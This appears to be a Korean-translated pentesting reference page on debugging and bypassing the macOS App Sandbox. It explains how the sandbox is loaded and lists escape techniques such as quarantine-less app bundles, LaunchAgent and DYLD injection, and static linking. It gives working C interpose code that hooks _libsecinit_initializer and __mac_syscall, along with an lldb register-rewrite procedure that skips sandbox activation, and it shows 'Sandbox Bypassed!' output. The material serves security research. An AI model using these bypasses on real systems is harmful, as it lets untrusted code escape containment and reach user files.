macOS Sandbox Debug & Bypass

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Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

이전 이미지에서는 com.apple.security.app-sandbox 권한이 있는 애플리케이션이 실행될 때 샌드박스가 어떻게 로드되는지 관찰할 수 있습니다.

컴파일러는 /usr/lib/libSystem.B.dylib를 바이너리에 링크합니다.

그런 다음, **libSystem.B**는 여러 함수를 호출하여 **xpc_pipe_routine**이 앱의 권한을 **securityd**에 전송할 때까지 진행합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다. 마지막으로, 샌드박스는 **__sandbox_ms**에 대한 호출로 활성화되며, 이는 **__mac_syscall**을 호출합니다.

Possible Bypasses

Bypassing quarantine attribute

샌드박스화된 프로세스에 의해 생성된 파일은 샌드박스 탈출을 방지하기 위해 격리 속성이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 격리 속성이 없는 .app 폴더를 생성할 수 있다면, 앱 번들 바이너리를 **/bin/bash**로 가리키게 하고 plist에 몇 가지 환경 변수를 추가하여 **open**을 악용하여 새 앱을 비샌드박스 상태로 실행할 수 있습니다.

이것은 CVE-2023-32364에서 수행된 것입니다.

따라서 현재로서는 **.app**로 끝나는 이름의 폴더를 격리 속성 없이 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 .app 폴더와 주 실행 파일에서만 격리 속성을 확인하기 때문입니다 (그리고 우리는 주 실행 파일을 **/bin/bash**로 가리키게 할 것입니다).

이미 실행할 수 있도록 승인된 .app 번들이 있다면 (실행 승인 플래그가 있는 격리 xttr가 있음), 그것을 악용할 수도 있습니다... 단, 이제는 샌드박스 내에서 권한이 없는 TCC 권한이 없으면 .app 번들 내에서 쓸 수 없습니다.

Abusing Open functionality

Word 샌드박스 우회에 대한 마지막 예제에서는 open CLI 기능이 샌드박스를 우회하는 데 어떻게 악용될 수 있는지 확인할 수 있습니다.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

애플리케이션이 샌드박스화되어야 하는 경우(com.apple.security.app-sandbox), 예를 들어 LaunchAgent(~/Library/LaunchAgents)에서 실행되면 샌드박스를 우회할 수 있습니다. 이 게시물에서 설명한 바와 같이, 샌드박스화된 애플리케이션으로 지속성을 얻으려면 LaunchAgent로 자동 실행되도록 설정하고 DyLib 환경 변수를 통해 악성 코드를 주입할 수 있습니다.

Abusing Auto Start Locations

샌드박스화된 프로세스가 나중에 비샌드박스 애플리케이션이 바이너리를 실행할 위치에 쓰기 할 수 있다면, 그곳에 바이너리를 배치하기만 하면 탈출할 수 있습니다. 이러한 위치의 좋은 예는 ~/Library/LaunchAgents 또는 /System/Library/LaunchDaemons입니다.

이를 위해서는 2단계가 필요할 수 있습니다: 더 관대 한 샌드박스(file-read*, file-write*)를 가진 프로세스가 실제로 비샌드박스 상태로 실행될 위치에 쓰도록 코드를 실행하게 합니다.

자동 시작 위치에 대한 이 페이지를 확인하세요:

macOS Auto Start

Abusing other processes

샌드박스 프로세스에서 덜 제한적인 샌드박스(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 타격할 수 있다면, 그들의 샌드박스를 탈출할 수 있습니다:

macOS Process Abuse

Static Compiling & Dynamically linking

이 연구에서는 샌드박스를 우회하는 2가지 방법을 발견했습니다. 샌드박스는 사용자 공간에서 libSystem 라이브러리가 로드될 때 적용됩니다. 바이너리가 이를 로드하지 않도록 할 수 있다면, 샌드박스에 걸리지 않을 것입니다:

• 바이너리가 완전히 정적으로 컴파일되었다면, 해당 라이브러리를 로드하지 않을 수 있습니다.

• 바이너리가 어떤 라이브러리도 로드할 필요가 없다면 (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다.

Shellcodes

ARM64의 shellcodes도 libSystem.dylib에 링크되어야 함을 유의하세요:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

특정 권한이 있는 경우, 애플리케이션이 샌드박스에서 허용될 수 있는 일부 작업이 있다는 점에 유의하십시오.

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Interposting에 대한 자세한 정보는 다음을 확인하세요:

macOS Function Hooking

샌드박스를 방지하기 위해 _libsecinit_initializer를 인터포스트합니다.

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost __mac_syscall to prevent the Sandbox

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

샌드박스되어야 하는 애플리케이션을 컴파일해 보겠습니다:

sand.c

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

entitlements.xml

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

그런 다음 앱을 컴파일합니다:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

앱은 ~/Desktop/del.txt 파일을 읽으려고 할 것이며, Sandbox는 이를 허용하지 않습니다. Sandbox가 우회되면 읽을 수 있도록 그곳에 파일을 생성하세요:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

애플리케이션을 디버깅하여 샌드박스가 언제 로드되는지 확인해 보겠습니다:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

샌드박스를 우회하더라도 TCC는 사용자가 프로세스가 데스크탑의 파일을 읽는 것을 허용할지 물어볼 것입니다.

References

• http://newosxbook.com/files/HITSB.pdf

• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/

• https://www.youtube.com/watch?v=mG715HcDgO8

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